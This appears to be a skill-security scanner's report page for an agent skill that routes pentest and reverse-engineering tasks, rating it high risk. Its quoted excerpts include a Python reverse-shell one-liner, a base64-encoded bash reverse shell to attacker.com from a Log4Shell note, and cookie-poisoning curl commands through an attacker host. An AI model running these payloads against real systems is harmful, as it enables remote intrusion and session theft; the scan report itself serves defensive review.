← All skills
reverse-skill-router
45 / 100 · High risk
Only if you trust the author. Some of what it can do is expected: a coding skill usually runs build and test commands.
By skillmds/skillmd (GitHub) · coding · 143 stars · scanned at commit 4467dd0
Routes reverse engineering, exploitation, penetration testing, malware, mobile, firmware, browser automation, documentation, and security tasks to the appropriate specialist skill. Use when a task spans modules or the correct reverse-skill entrypoint is unclear.
Works with any agent that supports SKILL.md skills.
Partially scanned — some files couldn't be read; we'll retry on the next scan
What this skill can do
Downloads and installs other software
The author does not mention this.
Found in 42 places.
Show 17 more
- plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 229
| SSTImap | `pentest-tools/` — SSTI 自动检测与利用(Kali 2026.1: `apt install sstimap`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 230
| XSStrike | `pentest-tools/` — 高级 XSS 扫描(Kali 2026.1: `apt install xsstrike`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 231
| WPProbe | `pentest-tools/` — WordPress 插件枚举(Kali 2026.1: `apt install wpprobe`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 234
| MetasploitMCP | `pentest-tools/` — Metasploit MCP 接口(Kali 2026.1: `apt install metasploitmcp`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 235
| mcp-kali-server | `pentest-tools/` — Kali 官方 MCP,AI 直接调用终端工具(`apt install mcp-kali-server`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 236
| HexStrike AI | `pentest-tools/` — 150+ 安全工具 MCP 自动化(Kali 2025.4: `apt install hexstrike-ai`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 237
| Pentest Swarm AI | `pentest-tools/` — 群体智能自主渗透框架,stigmergic blackboard 协调多 agent(`go install` 或 Docker) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 238
| AdaptixC2 | `pentest-tools/` — 后渗透与对抗模拟框架(Kali 2026.1: `apt install adaptixc2`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 240
| Coercer | `pentest-tools/` — Windows 认证强制/NTLM relay(`apt install coercer`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 245
| BloodHound | `pentest-tools/` — AD 攻击路径可视化(`apt install bloodhound`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/routing_zh.md, line 246
| Certipy | `pentest-tools/` — AD 证书服务攻击(`apt install certipy-ad`) | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/scripts/bootstrap-manifest.json, line 187
"postInstall": "npx playwright install chromium", - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/scripts/bootstrap-manifest.json, line 235
"pip install -r %USERPROFILE%\\Tools\\ProxyCat\\requirements.txt", - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/scripts/bootstrap-reverse.ps1, line 160
& $npm install -g pnpm - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/scripts/bootstrap-reverse.ps1, line 528
& $python -m pip install --upgrade $installTarget - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/scripts/bootstrap-reverse.ps1, line 530
throw "pip install failed for $installTarget" - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/scripts/bootstrap-reverse.ps1, line 957
& $npm install -g $definition.npmPackage
and 22 more places
Sends data to these websites: api.certspotter.com, cross.{target_proxy_root}, {target}, {proxy}, {target_domain}
The author does not mention this.
Found in 41 places.
Show 17 more
- plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 35
- 出口 `Origin`/`Referer` 自动改写成目标 URL 的源(Worker `fetch()` 默认行为) - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 42
- **结论**: CF Worker `fetch()` 内置的 private IP block 在最终目标层强制生效,**编码/重定向都没用** - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 50
- 用 `curl -c jar.txt` 抓 cookie → cookie jar 把 cookie 注册到 `.{target_proxy_root}` 域 - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 65
| `Invoke-WebRequest` 探响应头报 "Operation is not valid due to the current state of the object" | Windows PowerShell 5.1 处理 302 + 复杂头部出 bug | 直接用 Bash + curl | 2 分钟 - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 78
curl -s 'https://{target}/.well-known/cloudflare-access-protected-resource/' - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 81
curl -s 'https://api.certspotter.com/v1/issuances?domain={root}&include_subdomains=true&expand=dns_names' - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 84
curl -s 'https://{proxy}/?url=https%3A%2F%2Fhttpbin.org%2Fanything' | jq '.headers, .origin' - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 91
curl -c jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2F{attacker_host}%2Fset-cookie' - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 95
curl -b jar.txt 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fcookies' - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 101
curl "https://cross.{target_proxy_root}/?url=$ENC" - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 105
curl -i 'https://cross.{target_proxy_root}/?url=https%3A%2F%2Fhttpbin.org%2Fresponse-headers%3FX-Frame-Options%3DALLOW%26CSP%3Ddefault-src%2520%2A' - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 112
async fetch(req) { - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 120
const up = await fetch(t, { - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-25_pentest-cf-access-sibling-subdomain-cookie-poisoning.md, line 159
| `Invoke-WebRequest` (PS 5.1) | 处理 302 + 复杂头会抛 "Operation is not valid",**完全不可靠**,Web 渗透一律走 `curl` | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-26_pentest-newapi-rate-limit-bypass.md, line 36
curl -k -s https://{target_domain}/api/status - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-26_pentest-newapi-rate-limit-bypass.md, line 37
curl -k -s https://{target_domain}/api/pricing - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/2026-05-26_pentest-newapi-rate-limit-bypass.md, line 40
curl -k -s -o /dev/null -w "%{http_code}\n" \
and 21 more places
Runs commands on your computer
The author does not mention this. Expected for a coding skill.
Found in 6 places.
Show 3 more
- plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/precedent-pentest.md, line 467
□ python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subproc - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/seed-012_log4shell-jndi-rce.md, line 41
| 漏洞触发但拿不到 shell | 命令含特殊字符在 Runtime.exec 被破坏 | 用 base64 编码包一层:`bash -c {echo,base64}|{base64,-d}|bash` | 30min | - plugins/mcp-security-audit-pipeline/skills/reverse-skill-router/field-journal/seed-012_log4shell-jndi-rce.md, line 80
-C 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci5jb20vNDQ0NCAwPiYx}|{base64,-d}|bash'
Reads your saved credentials, such as SSH keys or .env files
The author does not mention this.
Found in 2 places.
Changes files outside its own folder
The author does not mention this.
Found in 1 place.
Safer alternatives
Low-risk skills in the same category (coding) that look related. Check that one does what you need.
Other copies in this repository
skillmds/skillmd has 1 more folder with a skill named reverse-skill-router. This page shows the lowest-scoring copy.
Install
Paste this into your terminal. It downloads exactly the version we scanned, not whatever is newest.
if [ -e ~/.agents/skills/'reverse-skill-router' ] || [ -L ~/.agents/skills/'reverse-skill-router' ]; then echo 'A skill folder named reverse-skill-router already exists — not replacing it' >&2; false; else d=$(mktemp -d) && git clone --quiet --filter=blob:none --no-checkout 'https://github.com/skillmds/skillmd' "$d" && git -C "$d" checkout --quiet '4467dd0debe8f189ba78142ee57ec42aea84e623' -- 'plugins/mcp-security-audit-pipeline/skills/reverse-skill-router' && mkdir -p ~/.agents/skills && cp -R "$d"/'plugins/mcp-security-audit-pipeline/skills/reverse-skill-router' ~/.agents/skills/'reverse-skill-router' && rm -rf "$d"; fi
Codex reads ~/.agents/skills directly. For Claude Code, Cursor, Copilot, Gemini CLI, Antigravity or OpenCode, also link it. For Claude Code: ln -s ~/.agents/skills/'reverse-skill-router' ~/.claude/skills/'reverse-skill-router' (other agents: ~/.cursor/skills, ~/.copilot/skills, ~/.gemini/skills, ~/.gemini/config/skills, ~/.config/opencode/skills). Or install through the finder skill, which does both.
Badge for your README
The badge for skillmds/skillmd shows the score of its lowest-scoring skill.

[](https://zalavijaysinh.github.io/skilltrust/repos/skillmds/skillmd/)
Score history
| Date | Version | Score |
|---|
| 2026-11-09 | 4467dd0 | 45 |
| 2026-11-07 | 1b0ba86 | 100 |